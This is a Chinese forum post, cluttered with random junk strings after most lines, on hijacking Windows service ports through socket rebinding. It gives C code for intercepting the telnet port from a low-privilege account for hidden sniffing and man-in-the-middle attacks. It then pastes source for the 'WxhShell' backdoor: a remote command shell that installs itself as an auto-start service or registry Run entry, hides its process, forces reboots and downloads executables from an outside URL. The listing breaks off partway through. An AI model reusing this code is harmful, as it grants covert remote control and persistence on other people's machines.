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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qGUe0(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0`zq*OQ  
v" TH[}C9D  
  saddr.sin_family = AF_INET; qiJ;v1  
T1 .@Tbbt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bv"({:x  
Ekp 0.c8:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6j![m+vo%  
MNE)<vw>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 v333z<<S  
g+F_M  
  这意味着什么?意味着可以进行如下的攻击: 8j +;Xlh  
*#9kFz-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ".Z+bi2l  
X2kLbe  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G?(:Z=  
.b)(_*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c=E.-  
2xm?,p`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7-B'G/PS/  
:|( B[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 EU~'n-  
6% axbB  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zOp"n\  
(jMp`4P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 CBHWMetJ*  
~<R~Q:T  
  #include 1 .k}gl0<  
  #include P3>2=qK"E(  
  #include t')I c6.?i  
  #include    +g30frg+Gl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j KK48S  
  int main() wpmtv325  
  { x&p=vUuukP  
  WORD wVersionRequested;  =7@  
  DWORD ret; {$.{VE+v5  
  WSADATA wsaData; B-zt(HG  
  BOOL val; LRgk9*@,  
  SOCKADDR_IN saddr; 6P $q7G  
  SOCKADDR_IN scaddr; S)h1e%f, f  
  int err; !qq@F%tv  
  SOCKET s; P0<uF`87  
  SOCKET sc; yV`vu/3K  
  int caddsize; 4 .qjTR  
  HANDLE mt; ;T(^riAEl  
  DWORD tid;   '?4[w]0J<  
  wVersionRequested = MAKEWORD( 2, 2 ); 2/WXdo  
  err = WSAStartup( wVersionRequested, &wsaData ); o!d0  
  if ( err != 0 ) { dD!SgK[Jv  
  printf("error!WSAStartup failed!\n"); fA5# 2P{  
  return -1; $S/ 8T  
  } <9vkiEo  
  saddr.sin_family = AF_INET; 'ZZ/:MvQa  
   W[ DB !ue  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {:cA'6f.b  
S([De"y  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zSO9 U  
  saddr.sin_port = htons(23); =n&83MYX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Bf'(JJ7&N  
  { }qg&2M%\  
  printf("error!socket failed!\n"); #/6X44 *u  
  return -1; &aU+6'+QXB  
  } C2T,1=  
  val = TRUE; FeJ5^Gh.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~<3yTl>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *G38N]|u6  
  { G})mw  
  printf("error!setsockopt failed!\n"); UgJHSl  
  return -1; EWi@1PAZK  
  } ah.Kb(d:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u-$AFSt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z9y:}:j"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j- -#vEW  
Z'~FZRF  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |k0VJi  
  { Lj#6K@u@Z  
  ret=GetLastError(); %]` WsG  
  printf("error!bind failed!\n"); g$qh(Z_s  
  return -1; 6>Fw,$  
  }  u[u=:Y+  
  listen(s,2); a &j?"o  
  while(1) g o@}r<B$  
  { {_JLmyaerZ  
  caddsize = sizeof(scaddr); n >^?BU  
  //接受连接请求 ? "gy`oCv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hG U &C]  
  if(sc!=INVALID_SOCKET) 3ml|`S  
  { 2t'&7>Ys{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?bEYvHAzg  
  if(mt==NULL) ~tWBCq 6  
  {  i.]}ooI  
  printf("Thread Creat Failed!\n"); RDbA"e5x  
  break; Lv"83$^S9  
  } ,^(T^ -  
  } * HVO  
  CloseHandle(mt); +q(D]:@,[  
  } [g{}0 [ew  
  closesocket(s); cjL!$OE6  
  WSACleanup(); Co M8  
  return 0; q&.!*rPD  
  }   t%%I.zIV7  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5D#*lMSP"'  
  { z"-Urd^O  
  SOCKET ss = (SOCKET)lpParam; C<pF13*4  
  SOCKET sc; _i&\G}mrC  
  unsigned char buf[4096]; ]PFc8qv{  
  SOCKADDR_IN saddr; Hi9]M3Ub  
  long num; %+.]>''a  
  DWORD val; KNn E5f  
  DWORD ret; ,/KHKLY7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^ZsME,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P_;oSN|>  
  saddr.sin_family = AF_INET; 3ySnAAG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v-kH7H"z  
  saddr.sin_port = htons(23); [x&&N*>N  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o8" [6Ys  
  { 6*e:ey U  
  printf("error!socket failed!\n"); ?E`J-ncP  
  return -1; ,Ubnz  
  } j6\{j#q  
  val = 100; Yv{AoL~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f?]cW h%  
  { FvkKM+?F  
  ret = GetLastError(); b`2~  
  return -1; cc>h=%s`  
  } 6x{B  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {kC]x2 U  
  { Qcw/>LaL:  
  ret = GetLastError(); `@ObM[0p(  
  return -1; xsa* XR  
  } %VdJ<=@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) d&fENnt?h  
  { wiutUb Y  
  printf("error!socket connect failed!\n"); i,~{{XS<  
  closesocket(sc); m$4Gm(Up  
  closesocket(ss); 4fN<pG,  
  return -1; 1.uyu  
  } N=wB1gJ  
  while(1) }/=VnCfU  
  { | o?@Eh  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6PTD%Rf\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]!f=b\-Av  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Z6Mh`:7  
  num = recv(ss,buf,4096,0); \dP2xou=  
  if(num>0) 9;@6iv  
  send(sc,buf,num,0); X<1# )xC  
  else if(num==0) <mpkkCl,  
  break; 8\[6z0+;  
  num = recv(sc,buf,4096,0); &BQ`4j~.  
  if(num>0) lAoH@+dyA+  
  send(ss,buf,num,0); WB= gN:?  
  else if(num==0) lwK Au!l  
  break; G6I>Ry[2?  
  } b[/-lNrc  
  closesocket(ss); <AB]FBo(  
  closesocket(sc); U#Ud~Q q  
  return 0 ; 3c6#?<%0`  
  } P'g$F<~V  
8&3G|m1-2  
Jo2:0<VL  
========================================================== aK,G6y  
RhYf+?2  
下边附上一个代码,,WXhSHELL fSSDOH!U,  
-{ZRk[>Z  
========================================================== vmL0H)q  
"_9Dau$  
#include "stdafx.h" D].1X0^hp  
kMUjSa~\  
#include <stdio.h> ? -6oh~W<  
#include <string.h> HogT#BMs  
#include <windows.h> c$>Tfa'H  
#include <winsock2.h> ]m YY1%H8M  
#include <winsvc.h> CY9`ztO*  
#include <urlmon.h> Lg-Sxz}P!  
AuWEy-q?  
#pragma comment (lib, "Ws2_32.lib") x%0Q W  
#pragma comment (lib, "urlmon.lib") z`'{l {  
uP<tP:  
#define MAX_USER   100 // 最大客户端连接数 2b2/jzO}J  
#define BUF_SOCK   200 // sock buffer - wCfwC  
#define KEY_BUFF   255 // 输入 buffer @*!8  
]M#_o]  
#define REBOOT     0   // 重启 06L/i,  
#define SHUTDOWN   1   // 关机 H htAD Y  
E7ixl~  
#define DEF_PORT   5000 // 监听端口 H:2#/1Oz>  
|s=)*DZv  
#define REG_LEN     16   // 注册表键长度 *GD?d2.6j  
#define SVC_LEN     80   // NT服务名长度 '9*(4/,UJJ  
usX aT(K  
// 从dll定义API e0qU2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h9$Ov`N(%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6_rS!X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EN'}+E 8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |cUTP!iy  
\$W>@w0  
// wxhshell配置信息 }GRZCX>  
struct WSCFG { !-)Hog5\  
  int ws_port;         // 监听端口 ZxLgV$U  
  char ws_passstr[REG_LEN]; // 口令 #[ipJ %  
  int ws_autoins;       // 安装标记, 1=yes 0=no M|6 l  
  char ws_regname[REG_LEN]; // 注册表键名 ,p {|f}0  
  char ws_svcname[REG_LEN]; // 服务名 .Xqe]cax%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ET.c8K1f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OLg=kF[[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -YPUrU[)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @Ge\odfF:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B=8],_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 My vp PW  
2guWWFS  
}; ;Hk{bz(  
f_I6g uDPz  
// default Wxhshell configuration YEqZ((H  
struct WSCFG wscfg={DEF_PORT, Wo+fMn(O  
    "xuhuanlingzhe", _[SW89zk  
    1, 1 CXO=Q  
    "Wxhshell", `o4alK\  
    "Wxhshell", mO%F {'  
            "WxhShell Service", ;n`SF~CU  
    "Wrsky Windows CmdShell Service", C+tB$yahO  
    "Please Input Your Password: ", rlV:% k  
  1, 3g ep_ aC  
  "http://www.wrsky.com/wxhshell.exe",  <m7m  
  "Wxhshell.exe" tX)l_ ?jVH  
    }; X?kw=x{2P  
J B[n]|  
// 消息定义模块 #k?uYg8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p(vmMWR!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )jc`_{PQg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Pk)>@F<  
char *msg_ws_ext="\n\rExit."; 'ONCz  
char *msg_ws_end="\n\rQuit."; bYt [/K,  
char *msg_ws_boot="\n\rReboot..."; u2\QhP 9  
char *msg_ws_poff="\n\rShutdown..."; hc#Sy:T>  
char *msg_ws_down="\n\rSave to "; tr?U/YG  
U4s)3jDw  
char *msg_ws_err="\n\rErr!"; v%^"N_]  
char *msg_ws_ok="\n\rOK!"; X3mHg5zt  
.! 'SG6 q  
char ExeFile[MAX_PATH]; !:BmDX[<n  
int nUser = 0; ~[a6  
HANDLE handles[MAX_USER]; Q>d<4]`  
int OsIsNt; Tew?e&eO  
skeH~-`M@  
SERVICE_STATUS       serviceStatus; I) ]"`2w2w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }%) ]b*3  
05SK$ Y<<  
// 函数声明 s]X0}"cz  
int Install(void); {wJ8% ;Z7  
int Uninstall(void); j{&*]QTN  
int DownloadFile(char *sURL, SOCKET wsh); -HQ(t  
int Boot(int flag); C"7-lz  
void HideProc(void); 1RHFWK5Si  
int GetOsVer(void); xky +"  
int Wxhshell(SOCKET wsl); RwyX,|  
void TalkWithClient(void *cs); y\?NB:=%  
int CmdShell(SOCKET sock); l~(A(1  
int StartFromService(void); i(O+XQ}Fyx  
int StartWxhshell(LPSTR lpCmdLine); ' Bx"i  
BS*Y3$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +Hd'*'c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {J~VB~('  
a'!p^/6?  
// 数据结构和表定义 M4}b l h#  
SERVICE_TABLE_ENTRY DispatchTable[] = ;M<R e  
{ z{m%^,Cs,  
{wscfg.ws_svcname, NTServiceMain}, K3dg.>O  
{NULL, NULL} P1G;JK  
}; a1dkB"Zp.p  
WJU[+|J  
// 自我安装 }Gf9.ACQ  
int Install(void) D;! aix3  
{ iy-~CPNB_  
  char svExeFile[MAX_PATH]; Um%$TGw5  
  HKEY key; 2 Q}^<^r  
  strcpy(svExeFile,ExeFile); K#;EjR4H  
^~` t q+  
// 如果是win9x系统,修改注册表设为自启动 p N+1/m,  
if(!OsIsNt) { S;tv4JY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H: rrY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fx=HKt  
  RegCloseKey(key); }rA _4%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;d<RP VE:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wOV}<.W  
  RegCloseKey(key); {Rtl<W0  
  return 0; R>B4v+b  
    } $s<bKju  
  } 7El:$H  
} $:IEpV{  
else { !n3J6%b9y/  
1X-fiQJe  
// 如果是NT以上系统,安装为系统服务 +`&-xq76  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dQ-:]T (  
if (schSCManager!=0) eh /QFm 4  
{ p<8Ga.kiN  
  SC_HANDLE schService = CreateService <G60R^o  
  ( oGKk2oP  
  schSCManager, 9B9:lR  
  wscfg.ws_svcname, ><w=  
  wscfg.ws_svcdisp, d9pZg=$8  
  SERVICE_ALL_ACCESS, ueP a4e!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @QbTO'UzK`  
  SERVICE_AUTO_START, u(C?\HaH  
  SERVICE_ERROR_NORMAL, h e1=  
  svExeFile, :\69N/uw`  
  NULL, JXAH/N& i  
  NULL, Z"5ewU<?  
  NULL, -+Gd<U$  
  NULL, Np2.X+  
  NULL dPb@[k  
  ); JG*Lc@Q  
  if (schService!=0) %y[ t+)!E  
  { g1(`a`M  
  CloseServiceHandle(schService); fl *>m,  
  CloseServiceHandle(schSCManager); @ $2xiE.[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !_pryNcb  
  strcat(svExeFile,wscfg.ws_svcname); -iySU 6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s\io9'Ec  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I3" GGp3L  
  RegCloseKey(key); U( (F<  
  return 0; dZ{yNh.]  
    } ,#hx%$f}d  
  } <,huajQs  
  CloseServiceHandle(schSCManager); &!KW[]i%9}  
} F8OE  
} gQlL0jAV  
%bZ}vJ5b  
return 1; X.FFBKjf[e  
} a6epew!2  
MClvmv^  
// 自我卸载 xAJuIR1Hi  
int Uninstall(void) xSL%1>MrN  
{ /8"9 sf *  
  HKEY key; \Ss6F]K]  
~[3B<^e  
if(!OsIsNt) { ?0hEd9TU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yxd&hr  
  RegDeleteValue(key,wscfg.ws_regname); \zv?r :1t  
  RegCloseKey(key); [RFF&uy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _H)>U[  
  RegDeleteValue(key,wscfg.ws_regname); jb lj]/  
  RegCloseKey(key); 9vw0box  
  return 0; qJq2Z.>hy  
  } Bv(c`JE~;  
} D/Hob  
} L>{p>  
else { MrFi0G7u  
=x^b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .E&-gXJ4  
if (schSCManager!=0) !/wR[`s9w  
{ Gk2R:\/Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0MX``/Z72  
  if (schService!=0) 2#t35fU  
  { -1<*mbb0  
  if(DeleteService(schService)!=0) { iES?}K/q  
  CloseServiceHandle(schService); iw?*Wp25  
  CloseServiceHandle(schSCManager); EH~XN9b  
  return 0; zpM%L:S  
  } $pGdGV\H  
  CloseServiceHandle(schService); (OT&:WwW  
  } kSq1Q#Bxq  
  CloseServiceHandle(schSCManager); j_Q kw ?   
} U3 y-cgE  
} &(t/4)IZox  
jce^Xf  
return 1; +c-?1j  
} V Mb r@9  
/ +9o?Kxya  
// 从指定url下载文件 LJ+Qe%|  
int DownloadFile(char *sURL, SOCKET wsh) :qL1jnR^  
{ L-QzC<[F/  
  HRESULT hr; XLxr@1   
char seps[]= "/"; >YuiCf?c7  
char *token; QGM@m:O  
char *file; Qkq9oZ  
char myURL[MAX_PATH]; mH\eJ  
char myFILE[MAX_PATH]; l-G] jXu  
-`<KjS  
strcpy(myURL,sURL); bUBQ  
  token=strtok(myURL,seps); 8dY Pn+`  
  while(token!=NULL) rj> _L  
  { SFQYrY  
    file=token; i>}aQ:&^0  
  token=strtok(NULL,seps); ** !  
  } j!;y!g  
/yn%0Wish  
GetCurrentDirectory(MAX_PATH,myFILE); D`C#O 7.N  
strcat(myFILE, "\\"); 'g7eN@Wh.z  
strcat(myFILE, file); AQ` `Dp  
  send(wsh,myFILE,strlen(myFILE),0); +M/1,&  
send(wsh,"...",3,0); !.}ZlA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |NoTwK  
  if(hr==S_OK) S B# Y^!  
return 0; H@%Y"iIUP  
else 8BgHoQ*  
return 1; wSwDhOX=  
CW9vC  
} a/v!W@Zz}  
SV}C]<  
// 系统电源模块 4T<4Rb[  
int Boot(int flag) gvLzE&V}  
{ GZ@`}7b}  
  HANDLE hToken; K,' v{wSr  
  TOKEN_PRIVILEGES tkp; quGv q"Y>  
yoc;`hO-  
  if(OsIsNt) { SWpvbs.'so  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]/klKqz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  o<Z  
    tkp.PrivilegeCount = 1; bxrT[]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F\G-. 1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f}C$!Lhs  
if(flag==REBOOT) { $ /p/9 -  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !/;/ X\d  
  return 0; bh&Wy<Y  
} h]{V/  
else { &ap&dM0@%a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) k(bDj[0q^  
  return 0; =]swhF+l-  
} *@1(!A  
  } & uMx*TTY  
  else { a(Fx1`}  
if(flag==REBOOT) { !`h^S)$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8uq`^l%KkZ  
  return 0; NZW)$c'  
} (O@fgBM  
else { 2f8\Osn>m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DY(pU/q  
  return 0; b$W~w*O   
} )oU%++cdo  
} Nm.G,6<J  
cKM#0dq  
return 1; K275{ydN  
} nd4Z5=X  
P1u(0t  
// win9x进程隐藏模块 618k-  
void HideProc(void) 0` y*7.Ip  
{ MX )mm^A  
9m+ejTK{U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `Hp=1a  
  if ( hKernel != NULL ) Krw'|<  
  { CAT{)*xc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p-o8Ctc?V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \M U-D,@  
    FreeLibrary(hKernel); aT_%G&.  
  } "PePiW(i+  
epm ~  
return; 7RZ HU+  
} vi; yT.  
#9e2+5s  
// 获取操作系统版本 [fZhfZ)<  
int GetOsVer(void) qvC2BQ  
{ bHK[Z5  
  OSVERSIONINFO winfo; )zv"<>Q 6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dIq*"Ry+~  
  GetVersionEx(&winfo); m>{I>:sq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'A{B[  
  return 1; uGU-MC *  
  else V M{Sng  
  return 0; %$6?em_  
} ]MmFtdvE  
B".3NQ  
// 客户端句柄模块 H.]p\ UY9  
int Wxhshell(SOCKET wsl) cof+iI~9O%  
{ OD6dMql  
  SOCKET wsh; .Mxt F\  
  struct sockaddr_in client; qE*hUzA  
  DWORD myID; O^DLp/vM  
f7?u`"C  
  while(nUser<MAX_USER) t3<HE_B|  
{ otmyI;v 7<  
  int nSize=sizeof(client); 9|l6.$Me/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kIJ=]wU|v  
  if(wsh==INVALID_SOCKET) return 1; )CoJ9PO7  
#:E^($v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wJg&OQc9  
if(handles[nUser]==0) Zfc{}ius  
  closesocket(wsh); ow4|GLU^;  
else #SR )tU  
  nUser++; d;g]OeF  
  } bo &QKK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;%mdSaf  
"P!zu(h4  
  return 0; )&[Zw{6P  
} /xb37,   
:a*F>S!  
// 关闭 socket {k)H.zwe  
void CloseIt(SOCKET wsh) ')Qb,#/,%  
{ )VeeAu)p  
closesocket(wsh); F$HL \y  
nUser--; yHs'E4V`$  
ExitThread(0); g>n1mK|  
} F-<c.0;6  
b4CXif  
// 客户端请求句柄 X<uH [  
void TalkWithClient(void *cs) fO}Y$y\q  
{ h{CMPJjD  
IF kU8EK&B  
  SOCKET wsh=(SOCKET)cs; F>ps& h  
  char pwd[SVC_LEN]; cHUj6'neO  
  char cmd[KEY_BUFF]; '<aFd)-  
char chr[1]; eo<=Q|nI&  
int i,j; r1zuc:W 1  
Dw&_6\F@  
  while (nUser < MAX_USER) { 6D29s]h2  
ee*E:Ltz\  
if(wscfg.ws_passstr) { Za'}26  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); , R $ZZ4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aq$adPtu  
  //ZeroMemory(pwd,KEY_BUFF); lt|UehJ F  
      i=0; h"(HDnq  
  while(i<SVC_LEN) { u<nPJeE  
^w~Utx4  
  // 设置超时 KTjf2/  
  fd_set FdRead; p} i5z_tS  
  struct timeval TimeOut; 29k\}m7l<*  
  FD_ZERO(&FdRead); F2Co Xe7  
  FD_SET(wsh,&FdRead); i]IZ0.?Y  
  TimeOut.tv_sec=8; $-lP"m@}  
  TimeOut.tv_usec=0; K Z Q `  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ek]CTUl*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }zqYn`ffD  
QE~#eo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K*oWcsu  
  pwd=chr[0]; <'<{|$Pw  
  if(chr[0]==0xd || chr[0]==0xa) { b;$j h   
  pwd=0; ^?gs<-)B  
  break; Hh0a\%!  
  } KHt.g`1:R  
  i++; aDE)Nf}  
    } -,} ppTG  
{9YNv<3  
  // 如果是非法用户,关闭 socket ^r0mx{i&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (ZHEPN  
} s(M8 Y  
Wf:I 0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3qBZzM O*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tJ@5E^'4  
%2TjG  
while(1) { . [5{  
mLL?n)   
  ZeroMemory(cmd,KEY_BUFF); kc-v(WIC  
M}BqSzd*  
      // 自动支持客户端 telnet标准   ,MdK "Qa>  
  j=0; )]3(ue  
  while(j<KEY_BUFF) { Ee-yP[2 *  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XhxCOpO  
  cmd[j]=chr[0]; -A17tC20J1  
  if(chr[0]==0xa || chr[0]==0xd) { 63n<4VSH  
  cmd[j]=0; (lR9x6yf  
  break; "1Oe bo2  
  } '{xPdN  
  j++; nnPY8pdjSD  
    } o$_,2$>mn  
dS m; e_s  
  // 下载文件 BV01&.<|  
  if(strstr(cmd,"http://")) { 'vUx4s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fG*366W  
  if(DownloadFile(cmd,wsh)) 1C' _I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qg#|1J6e  
  else _}(ej&'f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f/6,b&l,  
  } >|@i8?|E  
  else { NLA/XZ  
0xQ="aXE  
    switch(cmd[0]) { ;VAHgIpx;  
  YB1uudW9  
  // 帮助 \tx4bV#  
  case '?': { J"Z=`I)KON  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :AM5EO  
    break; o)pso\;  
  }  YXr"  
  // 安装 ^N\$oV$  
  case 'i': { c$ skLz  
    if(Install()) n6Qsug$z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lEe<!B$d"  
    else z nxAP|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oX #WT  
    break; chF@',9t  
    } <yHa[c`L  
  // 卸载 "bC1dl<  
  case 'r': { -]K9sy)I  
    if(Uninstall()) 3pF7} P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s}3`%?,6y  
    else J>XMaI})U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z.D O 2=+=  
    break; *lT:P-  
    } )Z0bMO<  
  // 显示 wxhshell 所在路径 TC+L\7   
  case 'p': { (L3Etan4RE  
    char svExeFile[MAX_PATH]; RU_wr<  
    strcpy(svExeFile,"\n\r"); 5v`[c+@F  
      strcat(svExeFile,ExeFile); Adma~]T9  
        send(wsh,svExeFile,strlen(svExeFile),0); C@3`n;yZ=  
    break; \_w>I_=F  
    } Oe["4C  
  // 重启 il5Qo  
  case 'b': { >{HQ"{Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y`|86` Y  
    if(Boot(REBOOT)) j @HOU~x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +338z<'Z!  
    else { miTySY6 ^  
    closesocket(wsh); c&GVIrJ  
    ExitThread(0); ~]_U!r[FA  
    } H-|%\9&{S  
    break; 4Nun-(q  
    } p-Jp/*R5  
  // 关机 IGQcQ/M  
  case 'd': { P\lEfsuR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hRwj-N%C  
    if(Boot(SHUTDOWN)) l3O!{&~K  
